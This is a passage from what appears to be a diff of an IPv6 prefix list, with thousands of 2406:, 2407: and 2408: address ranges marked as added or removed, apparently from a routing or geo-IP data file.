+2406:840:cb0::/45 +2406:840:cb9::/48 +2406:840:cba::/47 +2406:840:cbc::/46 +2406:840:cc0::/47 +2406:840:cc3::/48 +2406:840:cc4::/46 +2406:840:cc8::/45 +2406:840:cd0::/44 +2406:840:ce0::/43 +2406:840:d00::/40 +2406:840:e00::/39 +2406:840:1000::/48 +2406:840:1002::/47 +2406:840:1004::/46 +2406:840:1008::/45 +2406:840:1010::/44 +2406:840:1020::/43 +2406:840:1040::/42 +2406:840:1080::/41 +2406:840:1100::/40 +2406:840:1200::/39 +2406:840:1400::/38 +2406:840:1801::/48 +2406:840:1802::/47 +2406:840:1804::/46 +2406:840:1808::/45 +2406:840:1810::/44 +2406:840:1820::/43 +2406:840:1840::/42 +2406:840:1880::/41 +2406:840:1900::/40 +2406:840:1a00::/39 +2406:840:1c00::/38 +2406:840:2000::/39 +2406:840:2200::/40 +2406:840:2300::/41 +2406:840:2381::/48 +2406:840:2382::/47 +2406:840:2384::/46 +2406:840:2388::/45 +2406:840:2390::/44 +2406:840:23a0::/43 +2406:840:23c0::/42 +2406:840:2400::/38 +2406:840:2801::/48 +2406:840:2802::/47 +2406:840:2804::/46 +2406:840:2808::/45 +2406:840:2810::/44 +2406:840:2820::/43 +2406:840:2840::/42 +2406:840:2880::/48 +2406:840:2882::/47 +2406:840:2884::/46 +2406:840:2888::/45 +2406:840:2890::/44 +2406:840:28a0::/43 +2406:840:28c0::/42 +2406:840:2900::/40 +2406:840:2a00::/39 +2406:840:2c00::/38 +2406:840:3000::/37 +2406:840:3801::/48 +2406:840:3802::/47 +2406:840:3804::/46 +2406:840:3808::/45 +2406:840:3810::/44 +2406:840:3820::/43 +2406:840:3840::/42 +2406:840:3880::/41 +2406:840:3900::/40 +2406:840:3a00::/39 +2406:840:3c00::/38 +2406:840:4000::/40 +2406:840:4102::/47 +2406:840:4104::/46 +2406:840:4108::/45 +2406:840:4110::/44 +2406:840:4120::/43 +2406:840:4140::/42 +2406:840:4180::/41 +2406:840:4200::/40 +2406:840:4300::/41 +2406:840:4380::/42 +2406:840:43c0::/43 +2406:840:43e2::/47 +2406:840:43e4::/46 +2406:840:43e8::/45 +2406:840:43f0::/44 +2406:840:4400::/38 +2406:840:4802::/47 +2406:840:4804::/46 +2406:840:4808::/45 +2406:840:4810::/44 +2406:840:4820::/43 +2406:840:4840::/42 +2406:840:4882::/47 +2406:840:4884::/46 +2406:840:4888::/45 +2406:840:4890::/44 +2406:840:48a0::/43 +2406:840:48c0::/42 +2406:840:4900::/40 +2406:840:4a00::/39 +2406:840:4c00::/38 +2406:840:5000::/40 +2406:840:5102::/47 +2406:840:5104::/46 +2406:840:5108::/45 +2406:840:5110::/44 +2406:840:5120::/43 +2406:840:5140::/42 +2406:840:5180::/41 +2406:840:5200::/39 +2406:840:5400::/38 +2406:840:5802::/47 +2406:840:5804::/46 +2406:840:5808::/45 +2406:840:5810::/44 +2406:840:5820::/43 +2406:840:5840::/43 +2406:840:5862::/47 +2406:840:5864::/46 +2406:840:5868::/45 +2406:840:5870::/44 +2406:840:5882::/47 +2406:840:5884::/46 +2406:840:5888::/45 +2406:840:5890::/44 +2406:840:58a0::/43 +2406:840:58c0::/42 +2406:840:5900::/40 +2406:840:5a00::/39 +2406:840:5c02::/47 +2406:840:5c04::/46 +2406:840:5c08::/45 +2406:840:5c10::/44 +2406:840:5c20::/43 +2406:840:5c40::/42 +2406:840:5c80::/41 +2406:840:5d00::/40 +2406:840:5e00::/39 +2406:840:6000::/35 +2406:840:8000::/40 +2406:840:8200::/39 +2406:840:8400::/38 +2406:840:8800::/37 +2406:840:9010::/44 +2406:840:9020::/43 +2406:840:9040::/42 +2406:840:9080::/41 +2406:840:9101::/48 +2406:840:9103::/48 +2406:840:9104::/46 +2406:840:9108::/45 +2406:840:9110::/44 +2406:840:9120::/43 +2406:840:9140::/43 +2406:840:9160::/44 +2406:840:9170::/45 +2406:840:9179::/48 +2406:840:917a::/47 +2406:840:917c::/46 +2406:840:9180::/41 +2406:840:9300::/40 +2406:840:9400::/39 +2406:840:9610::/44 +2406:840:9630::/44 +2406:840:9640::/43 +2406:840:9660::/46 +2406:840:9664::/47 +2406:840:9667::/48 +2406:840:9668::/45 +2406:840:9670::/44 +2406:840:9680::/41 +2406:840:9800::/46 +2406:840:9808::/45 +2406:840:9810::/45 +2406:840:9818::/47 +2406:840:981b::/48 +2406:840:9820::/43 +2406:840:9850::/44 +2406:840:9860::/47 +2406:840:9865::/48 +2406:840:9866::/47 +2406:840:9868::/45 +2406:840:9870::/44 +2406:840:9880::/41 +2406:840:9900::/42 +2406:840:9940::/43 +2406:840:9960::/47 +2406:840:9965::/48 +2406:840:9968::/46 +2406:840:996d::/48 +2406:840:996e::/47 +2406:840:9981::/48 +2406:840:9982::/47 +2406:840:9984::/46 +2406:840:9988::/45 +2406:840:99a0::/43 +2406:840:99c0::/42 +2406:840:9a00::/39 +2406:840:9c00::/39 +2406:840:9e00::/41 +2406:840:9e80::/42 +2406:840:9ec0::/43 +2406:840:9ee0::/44 +2406:840:9f00::/41 +2406:840:9f80::/42 +2406:840:9fc0::/43 +2406:840:9fe0::/44 +2406:840:a000::/35 +2406:840:c000::/36 +2406:840:e000::/41 +2406:840:e090::/44 +2406:840:e0a0::/43 +2406:840:e0c0::/45 +2406:840:e0c8::/46 +2406:840:e0cc::/47 +2406:840:e0ce::/48 +2406:840:e0d0::/44 +2406:840:e0e4::/46 +2406:840:e0e9::/48 +2406:840:e0ea::/47 +2406:840:e0ec::/46 +2406:840:e0f0::/44 +2406:840:e100::/45 +2406:840:e108::/46 +2406:840:e10c::/47 +2406:840:e10e::/48 +2406:840:e110::/44 +2406:840:e120::/43 +2406:840:e140::/45 +2406:840:e148::/46 +2406:840:e14c::/47 +2406:840:e14e::/48 +2406:840:e150::/44 +2406:840:e160::/43 +2406:840:e190::/44 +2406:840:e1a0::/43 +2406:840:e1c0::/42 +2406:840:e210::/44 +2406:840:e220::/43 +2406:840:e240::/43 +2406:840:e260::/44 +2406:840:e271::/48 +2406:840:e272::/47 +2406:840:e274::/46 +2406:840:e278::/46 +2406:840:e27c::/47 +2406:840:e27e::/48 +2406:840:e290::/44 +2406:840:e2a0::/43 +2406:840:e2c0::/42 +2406:840:e300::/48 +2406:840:e305::/48 +2406:840:e307::/48 +2406:840:e308::/45 +2406:840:e310::/44 +2406:840:e320::/44 +2406:840:e340::/44 +2406:840:e350::/48 +2406:840:e352::/47 +2406:840:e355::/48 +2406:840:e356::/47 +2406:840:e358::/46 +2406:840:e35c::/48 +2406:840:e35e::/47 +2406:840:e360::/43 +2406:840:e380::/41 +2406:840:e400::/40 +2406:840:e500::/42 +2406:840:e540::/43 +2406:840:e560::/44 +2406:840:e570::/45 +2406:840:e578::/46 +2406:840:e57c::/47 +2406:840:e57f::/48 +2406:840:e580::/41 +2406:840:e610::/44 +2406:840:e622::/47 +2406:840:e624::/46 +2406:840:e628::/45 +2406:840:e630::/44 +2406:840:e640::/43 +2406:840:e660::/46 +2406:840:e664::/47 +2406:840:e668::/45 +2406:840:e670::/44 +2406:840:e680::/41 +2406:840:e700::/43 +2406:840:e730::/44 +2406:840:e740::/42 +2406:840:e780::/41 +2406:840:e800::/45 +2406:840:e808::/46 +2406:840:e80c::/47 +2406:840:e80e::/48 +2406:840:e810::/44 +2406:840:e820::/43 +2406:840:e840::/45 +2406:840:e848::/46 +2406:840:e84c::/47 +2406:840:e84e::/48 +2406:840:e850::/44 +2406:840:e860::/43 +2406:840:e880::/41 +2406:840:e900::/40 +2406:840:ea00::/40 +2406:840:eb06::/48 +2406:840:eb09::/48 +2406:840:eb0a::/48 +2406:840:eb0c::/47 +2406:840:eb0e::/48 +2406:840:eb10::/44 +2406:840:eb20::/43 +2406:840:eb40::/42 +2406:840:ebc0::/42 +2406:840:ec00::/41 +2406:840:ec80::/42 +2406:840:ecc0::/43 +2406:840:ecf0::/44 +2406:840:ed00::/40 +2406:840:ee00::/42 +2406:840:ee42::/47 +2406:840:ee45::/48 +2406:840:ee46::/47 +2406:840:ee48::/47 +2406:840:ee4a::/48 +2406:840:ee4c::/48 +2406:840:ee4e::/47 +2406:840:ee50::/44 +2406:840:ee60::/43 +2406:840:ee80::/43 +2406:840:eea0::/44 +2406:840:eeb0::/48 +2406:840:eeb3::/48 +2406:840:eeb4::/46 +2406:840:eeb8::/45 +2406:840:eec0::/43 +2406:840:eee0::/46 +2406:840:eee4::/48 +2406:840:eee6::/47 +2406:840:eee8::/45 +2406:840:eef0::/44 +2406:840:ef00::/41 +2406:840:ef80::/42 +2406:840:efc0::/43 +2406:840:efe0::/44 +2406:840:f000::/41 +2406:840:f080::/43 +2406:840:f0a0::/48 +2406:840:f0a2::/47 +2406:840:f0a4::/46 +2406:840:f0a8::/47 +2406:840:f0ab::/48 +2406:840:f0ac::/46 +2406:840:f0b0::/44 +2406:840:f0c0::/42 +2406:840:f102::/47 +2406:840:f104::/46 +2406:840:f108::/45 +2406:840:f110::/44 +2406:840:f120::/43 +2406:840:f140::/42 +2406:840:f180::/41 +2406:840:f200::/40 +2406:840:f300::/43 +2406:840:f320::/44 +2406:840:f330::/46 +2406:840:f334::/47 +2406:840:f336::/48 +2406:840:f338::/45 +2406:840:f340::/42 +2406:840:f390::/44 +2406:840:f3a0::/43 +2406:840:f3c0::/42 +2406:840:f400::/48 +2406:840:f403::/48 +2406:840:f404::/46 +2406:840:f408::/45 +2406:840:f410::/44 +2406:840:f420::/43 +2406:840:f440::/45 +2406:840:f448::/46 +2406:840:f44c::/47 +2406:840:f44e::/48 +2406:840:f450::/44 +2406:840:f460::/43 +2406:840:f480::/41 +2406:840:f500::/40 +2406:840:f600::/42 +2406:840:f640::/43 +2406:840:f670::/44 +2406:840:f680::/47 +2406:840:f682::/48 +2406:840:f684::/46 +2406:840:f688::/45 +2406:840:f690::/44 +2406:840:f6a0::/43 +2406:840:f6c0::/42 +2406:840:f700::/40 +2406:840:f800::/42 +2406:840:f840::/43 +2406:840:f864::/46 +2406:840:f86a::/47 +2406:840:f86d::/48 +2406:840:f86e::/47 +2406:840:f870::/44 +2406:840:f880::/45 +2406:840:f888::/48 +2406:840:f88a::/47 +2406:840:f88c::/46 +2406:840:f890::/44 +2406:840:f8a0::/43 +2406:840:f8c0::/42 +2406:840:f900::/41 +2406:840:f980::/44 +2406:840:f9a0::/43 +2406:840:f9c0::/42 +2406:840:fa00::/48 +2406:840:fa02::/47 +2406:840:fa04::/46 +2406:840:fa08::/45 +2406:840:fa10::/44 +2406:840:fa20::/43 +2406:840:fa41::/48 +2406:840:fa42::/47 +2406:840:fa44::/46 +2406:840:fa48::/45 +2406:840:fa50::/44 +2406:840:fa70::/44 +2406:840:fa81::/48 +2406:840:fa82::/47 +2406:840:fa84::/46 +2406:840:fa88::/45 +2406:840:fa90::/44 +2406:840:faa0::/43 +2406:840:fac0::/42 +2406:840:fb00::/40 +2406:840:fc14::/46 +2406:840:fc18::/45 +2406:840:fc24::/46 +2406:840:fc28::/45 +2406:840:fc34::/46 +2406:840:fc38::/45 +2406:840:fc44::/46 +2406:840:fc48::/45 +2406:840:fc54::/46 +2406:840:fc58::/45 +2406:840:fc64::/46 +2406:840:fc68::/45 +2406:840:fc74::/46 +2406:840:fc78::/45 +2406:840:fc80::/44 +2406:840:fc94::/46 +2406:840:fc98::/45 +2406:840:fca4::/46 +2406:840:fca8::/45 +2406:840:fcb4::/46 +2406:840:fcb8::/45 +2406:840:fcc0::/44 +2406:840:fcd1::/48 +2406:840:fcd2::/47 +2406:840:fcd4::/46 +2406:840:fcd8::/45 +2406:840:fce0::/44 +2406:840:fcf6::/47 +2406:840:fcf8::/45 +2406:840:fd00::/43 +2406:840:fd20::/44 +2406:840:fd31::/48 +2406:840:fd32::/47 +2406:840:fd34::/46 +2406:840:fd38::/45 +2406:840:fd41::/48 +2406:840:fd42::/47 +2406:840:fd44::/48 +2406:840:fd47::/48 +2406:840:fd4a::/47 +2406:840:fd4c::/46 +2406:840:fd51::/48 +2406:840:fd52::/47 +2406:840:fd54::/48 +2406:840:fd57::/48 +2406:840:fd5a::/47 +2406:840:fd5c::/46 +2406:840:fd61::/48 +2406:840:fd62::/47 +2406:840:fd64::/48 +2406:840:fd67::/48 +2406:840:fd6a::/47 +2406:840:fd6c::/46 +2406:840:fd71::/48 +2406:840:fd72::/47 +2406:840:fd74::/48 +2406:840:fd77::/48 +2406:840:fd7a::/47 +2406:840:fd7c::/46 +2406:840:fd81::/48 +2406:840:fd82::/47 +2406:840:fd84::/48 +2406:840:fd87::/48 +2406:840:fd8a::/47 +2406:840:fd8c::/46 +2406:840:fd94::/46 +2406:840:fd98::/46 +2406:840:fd9c::/47 +2406:840:fd9e::/48 +2406:840:fda1::/48 +2406:840:fda2::/47 +2406:840:fda4::/46 +2406:840:fda8::/45 +2406:840:fdb1::/48 +2406:840:fdb2::/47 +2406:840:fdb4::/46 +2406:840:fdb8::/45 +2406:840:fdc1::/48 +2406:840:fdc2::/47 +2406:840:fdc4::/46 +2406:840:fdc8::/45 +2406:840:fdd0::/44 +2406:840:fde0::/43 +2406:840:fe00::/43 +2406:840:fe20::/46 +2406:840:fe24::/47 +2406:840:fe26::/48 +2406:840:fe28::/45 +2406:840:fe30::/44 +2406:840:fe40::/44 +2406:840:fe52::/47 +2406:840:fe54::/46 +2406:840:fe58::/45 +2406:840:fe60::/43 +2406:840:fe80::/44 +2406:840:fe95::/48 +2406:840:fe9c::/48 +2406:840:fe9f::/48 +2406:840:fea0::/48 +2406:840:fea9::/48 +2406:840:feb0::/47 +2406:840:feb2::/48 +2406:840:feb4::/46 +2406:840:feb8::/45 +2406:840:fec1::/48 +2406:840:fec6::/47 +2406:840:fec8::/47 +2406:840:fed0::/48 +2406:840:fed2::/48 +2406:840:fed5::/48 +2406:840:fed6::/48 +2406:840:fed9::/48 +2406:840:feda::/48 +2406:840:fede::/48 +2406:840:fee0::/45 +2406:840:fee8::/46 +2406:840:feec::/48 +2406:840:feee::/47 +2406:840:fef1::/48 +2406:840:ff00::/40 +2406:880::/32 +2406:8c0::/32 +2406:d80::/32 +2406:e80::/32 +2406:f80::/32 +2406:1080::/32 +2406:1100::/32 +2406:1180::/32 +2406:1280::/32 +2406:1380::/32 +2406:1480::/32 +2406:1580::/32 +2406:15c0::/32 +2406:1680::/32 +2406:1780::/32 +2406:1880::/32 +2406:1980::/32 +2406:1a80::/32 +2406:1b80::/32 +2406:1c80::/32 +2406:1d80::/32 +2406:1e40::/32 +2406:1e80::/32 +2406:1f80::/32 +2406:2080::/32 +2406:2640::/32 2406:2700::/32 +2406:2780::/32 +2406:2880::/32 +2406:2980::/32 +2406:2a80::/32 +2406:2b80::/32 +2406:2c40::/32 +2406:2c80::/32 +2406:2d80::/32 +2406:2e80::/32 +2406:2f80::/32 +2406:3080::/32 +2406:3180::/32 +2406:31c0::/32 +2406:3280::/32 +2406:3300::/32 2406:3340::/32 -2406:4d00::/48 +2406:3380::/32 +2406:3480::/32 +2406:34c0::/32 +2406:3580::/32 +2406:3640::/32 +2406:3680::/32 +2406:3700::/32 +2406:3780::/32 +2406:3880::/32 +2406:3980::/32 +2406:39c0::/32 +2406:3ac0::/32 +2406:3e80::/32 +2406:3f80::/32 +2406:4080::/32 +2406:40c0::/32 +2406:4180::/32 +2406:4280::/32 +2406:42c0::/32 +2406:4340::/32 +2406:4380::/32 +2406:43c0::/32 +2406:4480::/32 +2406:4500::/32 +2406:4680::/32 +2406:4b80::/32 +2406:4c80::/32 +2406:4d00::/32 +2406:4d80::/32 +2406:4e80::/32 +2406:4f00::/32 +2406:4f80::/32 +2406:5080::/32 +2406:50c0::/32 +2406:5180::/32 +2406:5280::/32 2406:52c0::/32 -2406:5340:6666::/48 -2406:5340:8888::/48 +2406:5340::/32 +2406:5380::/32 +2406:5480::/32 +2406:5580::/32 +2406:5680::/32 +2406:5780::/32 +2406:5840::/31 +2406:5940::/32 +2406:5980::/32 +2406:5a40::/32 +2406:5ac0::/32 +2406:5b40::/32 +2406:5d80::/32 +2406:5e80::/32 +2406:5f80::/32 +2406:6080::/32 2406:6100::/32 -2406:b640:100::/48 -2406:b640:4100::/48 -2406:cac0::/40 -2406:cac0:200::/40 -2406:cf00::/48 -2406:cf00:1000::/43 -2406:d440:100::/43 -2406:d440:200::/43 -2406:d440:300::/43 -2406:d440:ff00::/48 -2406:d440:ffff::/48 +2406:6180::/32 +2406:61c0::/29 +2406:6280::/32 +2406:6300::/32 +2406:6340::/32 +2406:6380::/32 +2406:6480::/32 +2406:6500::/32 +2406:6580::/32 +2406:65c0::/32 +2406:6640::/32 +2406:6680::/32 +2406:6780::/32 +2406:6880::/32 +2406:6980::/32 +2406:6a80::/32 +2406:6b80::/32 +2406:6bc0::/32 +2406:6c80::/32 +2406:6d80::/32 +2406:6e80::/32 +2406:6f80::/32 +2406:7080::/32 +2406:7280::/32 +2406:7380::/32 +2406:7480::/32 +2406:7580::/32 +2406:7680::/32 +2406:7780::/32 +2406:7880::/32 +2406:7980::/32 +2406:7a80::/32 +2406:7b80::/32 +2406:7c80::/32 +2406:7d00::/32 +2406:7d80::/32 +2406:7e80::/32 +2406:7f80::/32 +2406:7fc0::/32 +2406:8080::/32 +2406:8180::/32 +2406:8280::/32 +2406:8380::/32 +2406:8480::/32 +2406:8500::/32 +2406:8580::/32 +2406:8780::/32 +2406:8880::/32 +2406:8980::/32 +2406:8a80::/32 +2406:8b80::/32 +2406:8c80::/32 +2406:8d80::/32 +2406:8e80::/32 +2406:8f40::/32 +2406:8f80::/32 +2406:9200::/32 +2406:9380::/32 +2406:9480::/32 +2406:94c0::/32 +2406:9780::/32 +2406:9d80::/32 +2406:9e80::/32 +2406:9f80::/32 +2406:a080::/32 +2406:a180::/32 +2406:a280::/32 +2406:a380::/32 +2406:a480::/32 +2406:a580::/32 +2406:a680::/32 +2406:a780::/32 +2406:a7c0::/32 +2406:a880::/32 +2406:a8c0::/32 +2406:a980::/32 +2406:aa80::/32 +2406:aac0::/32 +2406:ab80::/32 +2406:ac80::/32 +2406:acc0::/32 +2406:ad40::/32 +2406:ad80::/32 +2406:ae80::/32 +2406:af80::/32 +2406:b080::/32 +2406:b640::/32 +2406:b880::/32 +2406:b980::/32 +2406:ba80::/32 +2406:bb80::/32 +2406:bc80::/32 +2406:bd40::/32 +2406:bd80::/32 +2406:bdc0::/32 +2406:be80::/32 +2406:bf80::/32 +2406:c080::/32 +2406:c180::/32 +2406:c280::/32 +2406:c340::/32 +2406:c480::/32 +2406:c580::/32 +2406:c680::/32 +2406:c780::/32 +2406:c880::/32 +2406:c900::/32 +2406:c980::/32 +2406:ca80::/32 +2406:cac0::/32 +2406:cb80::/32 +2406:cc80::/32 +2406:cd80::/32 +2406:ce80::/32 +2406:cf00::/30 +2406:cf80::/32 +2406:d080::/32 +2406:d140::/33 +2406:d140:c000::/34 +2406:d180::/32 +2406:d280::/32 +2406:d2c0::/32 +2406:d380::/32 +2406:d440::/32 +2406:d480::/32 +2406:d580::/32 +2406:d680::/32 +2406:d780::/32 +2406:d880::/32 +2406:d980::/32 +2406:db80::/32 +2406:dc80::/32 +2406:dd00::/32 +2406:dd80:400::/38 +2406:dd80:c00::/38 +2406:dd80:1000::/36 +2406:dd80:2000::/35 +2406:dd80:4000::/34 +2406:dd80:8000::/33 +2406:de80::/32 +2406:df80::/32 +2406:e080::/32 +2406:e180::/32 +2406:e2c0::/32 +2406:e380::/32 2406:e3c0::/32 -2406:e500::/33 -2407:23c0::/48 -2407:2840::/48 +2406:e500::/32 +2406:e580::/32 +2406:e680::/32 +2406:e780::/32 +2406:e8c0::/32 +2406:ea40::/28 +2406:f280::/33 +2406:f300::/32 +2406:f4c0::/32 +2406:f7c0::/32 +2406:f980::/32 +2406:fc80::/32 +2406:fd80::/32 +2406:fe80::/32 +2406:ff00::/32 +2407:480::/32 +2407:580::/32 +2407:cc0::/32 +2407:f40::/32 +2407:17c0::/32 +2407:1900::/32 +2407:1d00::/32 +2407:2280::/32 +2407:2380::/32 +2407:23c0::/32 +2407:2780::/32 +2407:2840::/32 +2407:2ac0::/32 +2407:31c0::/32 +2407:3340::/32 +2407:3540::/32 +2407:3700::/32 +2407:3740::/32 2407:37c0::/32 +2407:3900::/32 +2407:3f40::/32 +2407:43c0::/32 +2407:4440::/32 +2407:4580::/32 +2407:4680::/32 +2407:4740::/32 +2407:4880::/32 +2407:4980::/32 +2407:4a80::/32 +2407:4c80::/32 +2407:4d80::/32 +2407:4e80::/32 +2407:4f00::/32 2407:5380::/32 -2407:6c40:1100::/48 -2407:6c40:1210::/48 -2407:6c40:1500::/48 -2407:6c40:1600::/40 -2407:7d00:1::/48 -2407:8f40:2::/48 +2407:53c0::/32 +2407:5500::/32 +2407:5780::/32 +2407:5840::/32 +2407:6040::/32 +2407:6580::/32 +2407:6c40::/32 +2407:7680::/32 +2407:7780::/32 +2407:7880::/32 +2407:7980::/32 +2407:7c80::/32 +2407:7d00::/32 +2407:7d80::/32 +2407:7e80::/32 +2407:8880::/32 +2407:8b80::/32 +2407:8f40::/32 +2407:9080::/32 +2407:9180::/32 +2407:94c0::/32 +2407:9680::/32 +2407:9980::/32 +2407:9b40::/32 +2407:9bc0::/32 2407:9f00::/32 +2407:9f80::/32 +2407:a040::/32 +2407:a640::/32 +2407:a7c0::/32 +2407:a880::/32 +2407:a940::/32 2407:ad80::/32 2407:ae80::/32 -2407:b380:8000::/48 +2407:af80::/32 +2407:b080::/32 +2407:b180::/32 +2407:b280::/32 +2407:b380::/32 +2407:b580::/32 +2407:b680::/32 +2407:b780::/32 +2407:b880::/32 +2407:b980::/32 +2407:ba00::/32 +2407:ba80::/32 +2407:bb80::/32 2407:bc00::/32 -2407:c080::/35 -2407:c080:4000::/37 -2407:c080:5000::/37 -2407:c080:6000::/36 -2407:c080:8000::/36 +2407:bc80::/32 +2407:bd80::/32 +2407:bdc0::/32 +2407:be80::/32 +2407:bf80::/32 +2407:c080::/32 +2407:c380::/32 +2407:c400::/32 +2407:c480::/32 +2407:c580::/32 +2407:c680::/32 +2407:c780::/32 +2407:c880::/32 +2407:c900::/32 +2407:c980::/32 +2407:cb80::/32 +2407:cc80::/32 +2407:cd80::/32 +2407:ce80::/32 +2407:cf80::/32 +2407:d480::/32 +2407:d580::/32 +2407:d680::/32 +2407:d780::/32 +2407:d7c0::/32 +2407:d880::/32 +2407:d8c0::/32 +2407:d980::/32 2407:d9c0::/32 -2408:4000::/22 -2408:8000::/48 -2408:8000:2::/47 -2408:8000:1000::/36 -2408:8000:2000::/35 -2408:8000:4000::/34 -2408:8000:8000::/33 -2408:8001::/32 -2408:8024:8000::/33 -2408:8025::/32 -2408:8026::/32 -2408:802a:8000::/33 -2408:802c::/32 -2408:803e::/32 -2408:8056::/32 -2408:80c2::/33 -2408:80c5::/33 -2408:80e0:4000::/36 -2408:80e2::/33 -2408:80e9:4000::/34 -2408:80f0:4000::/36 -2408:80f1::/42 -2408:80f1:40::/43 -2408:80f1:70::/44 -2408:80f1:80::/41 -2408:80f1:100::/43 -2408:80f1:120::/44 -2408:80f1:160::/43 -2408:80f1:180::/43 -2408:80f1:1b0::/44 -2408:80f1:1c0::/43 -2408:80f1:1e0::/44 -2408:80f1:200::/40 -2408:80f5:4000::/34 -2408:80f9:4000::/34 -2408:8120:1::/48 -2408:8120:2::/48 -2408:8120:7000::/36 -2408:8140:2000::/48 -2408:815f:e000::/35 -2408:8181::/40 -2408:8181:6000::/40 -2408:8181:8000::/40 -2408:8181:a000::/40 -2408:8181:a220::/44 -2408:8181:e000::/40 -2408:8182:6000::/40 -2408:8182:c000::/40 -2408:8183:4000::/40 -2408:8183:8000::/40 -2408:81a2:2000::/35 -2408:81a2:4000::/35 -2408:81a3:6000::/35 -2408:81a3:c800::/48 -2408:81a3:ca66::/48 -2408:8206::/31 -2408:8208::/29 -2408:8210::/30 -2408:8214::/31 -2408:821a::/31 -2408:8220::/31 -2408:8226::/32 -2408:822a::/31 -2408:822e::/31 -2408:8230::/29 -2408:8238::/31 -2408:823c::/31 -2408:8240::/32 -2408:8244::/30 -2408:8248::/30 -2408:824c::/32 -2408:824e::/31 -2408:8250::/30 -2408:8254::/32 -2408:8256::/31 -2408:8258::/30 -2408:825c::/31 -2408:825f::/32 -2408:8260::/32 -2408:8262::/31 -2408:8264::/31 -2408:8266::/32 -2408:826a::/32 -2408:826c::/30 -2408:8270::/32 -2408:8274::/30 -2408:8278::/31 -2408:827a::/32 -2408:8306::/31 -2408:8308::/30 -2408:8310::/30 -2408:832a::/32 -2408:832e::/31 -2408:8330::/30 -2408:8338::/32 -2408:8340::/32 -2408:8344::/30 -2408:8348::/30 -2408:834e::/31 -2408:8350::/30 -2408:8354::/32 -2408:8356::/31 -2408:8358::/30 -2408:8360::/30 -2408:8364::/31 -2408:836c::/30 -2408:8374::/30 -2408:8378::/31 -2408:837a::/32 -2408:8406:100::/41 -2408:8406:180::/42 -2408:8406:d00::/41 -2408:8406:d80::/42 -2408:8406:1900::/41 -2408:8406:1980::/42 -2408:8406:2500::/41 -2408:8406:2580::/42 -2408:8406:3100::/41 -2408:8406:3180::/42 -2408:8406:3d00::/41 -2408:8406:3d80::/42 -2408:8406:4900::/41 -2408:8406:4980::/42 -2408:8406:5500::/41 -2408:8406:5580::/42 -2408:8406:6100::/41 -2408:8406:6180::/42 -2408:8406:6d00::/41 -2408:8406:6d80::/42 -2408:8406:7900::/41 -2408:8406:7980::/42 -2408:8406:8500::/41 -2408:8406:8580::/42 -2408:8406:9100::/41 -2408:8406:9180::/42 -2408:8406:9d00::/41 -2408:8406:9d80::/42 -2408:8406:a900::/41 -2408:8406:a980::/42 -2408:8406:b500::/41 -2408:8406:b580::/42 -2408:8407:520::/43 -2408:8409::/40 -2408:8409:100::/41 -2408:8409:1a0::/43 -2408:8409:1c0::/42 -2408:8409:200::/42 -2408:8409:c00::/40 -2408:8409:d00::/41 -2408:8409:da0::/43 -2408:8409:dc0::/42 -2408:8409:e00::/42 -2408:8409:1800::/40 -2408:8409:1900::/41 -2408:8409:19a0::/43 -2408:8409:19c0::/42 -2408:8409:1a00::/42 -2408:8409:2400::/40 -2408:8409:2500::/41 -2408:8409:25a0::/43 -2408:8409:25c0::/42 -2408:8409:2600::/42 -2408:8409:3000::/40 -2408:8409:3100::/41 -2408:8409:31a0::/43 -2408:8409:31c0::/42 -2408:8409:3200::/42 -2408:8409:3c00::/40 -2408:8409:3d00::/41 -2408:8409:3da0::/43 -2408:8409:3dc0::/42 -2408:8409:3e00::/42 -2408:8409:4800::/40 -2408:8409:4900::/41 -2408:8409:49a0::/43 -2408:8409:49c0::/42 -2408:8409:4a00::/42 -2408:8409:5400::/40 -2408:8409:5500::/41 -2408:8409:55a0::/43 -2408:8409:55c0::/42 -2408:8409:5600::/42 -2408:8409:6000::/40 -2408:8409:6100::/41 -2408:8409:61a0::/43 -2408:8409:61c0::/42 -2408:8409:6200::/42 -2408:8409:6c00::/40 -2408:8409:6d00::/41 -2408:8409:6da0::/43 -2408:8409:6dc0::/42 -2408:8409:6e00::/42 -2408:8409:7800::/40 -2408:8409:7900::/41 -2408:8409:79a0::/43 -2408:8409:79c0::/42 -2408:8409:7a00::/42 -2408:8409:8400::/40 -2408:8409:8500::/41 -2408:8409:85a0::/43 -2408:8409:85c0::/42 -2408:8409:8600::/42 -2408:8409:9000::/40 -2408:8409:9100::/41 -2408:8409:91a0::/43 -2408:8409:91c0::/42 -2408:8409:9200::/42 -2408:8409:9c00::/40 -2408:8409:9d00::/41 -2408:8409:9da0::/43 -2408:8409:9dc0::/42 -2408:8409:9e00::/42 -2408:8409:a800::/40 -2408:8409:a900::/41 -2408:8409:a9a0::/43 -2408:8409:a9c0::/42 -2408:8409:aa00::/42 -2408:8409:b400::/40 -2408:8409:b500::/41 -2408:8409:b5a0::/43 -2408:8409:b5c0::/42 -2408:8409:b600::/42 -2408:840c::/40 -2408:840c:200::/40 -2408:840c:d00::/40 -2408:840c:f00::/40 -2408:840c:1a00::/40 -2408:840c:1c00::/40 -2408:840c:2700::/40 -2408:840c:2900::/40 -2408:840c:3400::/40 -2408:840c:3600::/40 -2408:840c:4e00::/40 -2408:840c:5000::/40 -2408:840c:5b00::/40 -2408:840c:5d00::/40 -2408:840c:6800::/40 -2408:840c:6a00::/40 -2408:840c:7500::/40 -2408:840c:7700::/40 -2408:840c:8200::/40 -2408:840c:8400::/40 -2408:840c:8f00::/40 -2408:840c:9100::/40 -2408:840c:9c00::/40 -2408:840c:9e00::/40 -2408:840c:a900::/40 -2408:840c:ab00::/40 -2408:840c:b600::/40 -2408:840c:b800::/40 -2408:840c:c300::/40 -2408:840c:c500::/40 -2408:840c:d000::/40 -2408:840c:d200::/40 -2408:840c:dd00::/40 -2408:840c:de00::/40 -2408:840d::/42 -2408:840d:40::/43 -2408:840d:200::/42 -2408:840d:400::/42 -2408:840d:440::/43 -2408:840d:600::/42 -2408:840d:d00::/42 -2408:840d:d40::/43 -2408:840d:f00::/42 -2408:840d:1100::/42 -2408:840d:1140::/43 -2408:840d:1300::/42 -2408:840d:1a00::/42 -2408:840d:1a40::/43 -2408:840d:1c00::/42 -2408:840d:1e00::/42 -2408:840d:1e40::/43 -2408:840d:2000::/42 -2408:840d:2700::/42 -2408:840d:2740::/43 -2408:840d:2900::/42 -2408:840d:2b00::/42 -2408:840d:2b40::/43 -2408:840d:2d00::/42 -2408:840d:3400::/42 -2408:840d:3440::/43 -2408:840d:3600::/42 -2408:840d:3800::/42 -2408:840d:3840::/43 -2408:840d:3a00::/42 -2408:840d:4e00::/42 -2408:840d:4e40::/43 -2408:840d:5000::/42 -2408:840d:5200::/42 -2408:840d:5240::/43 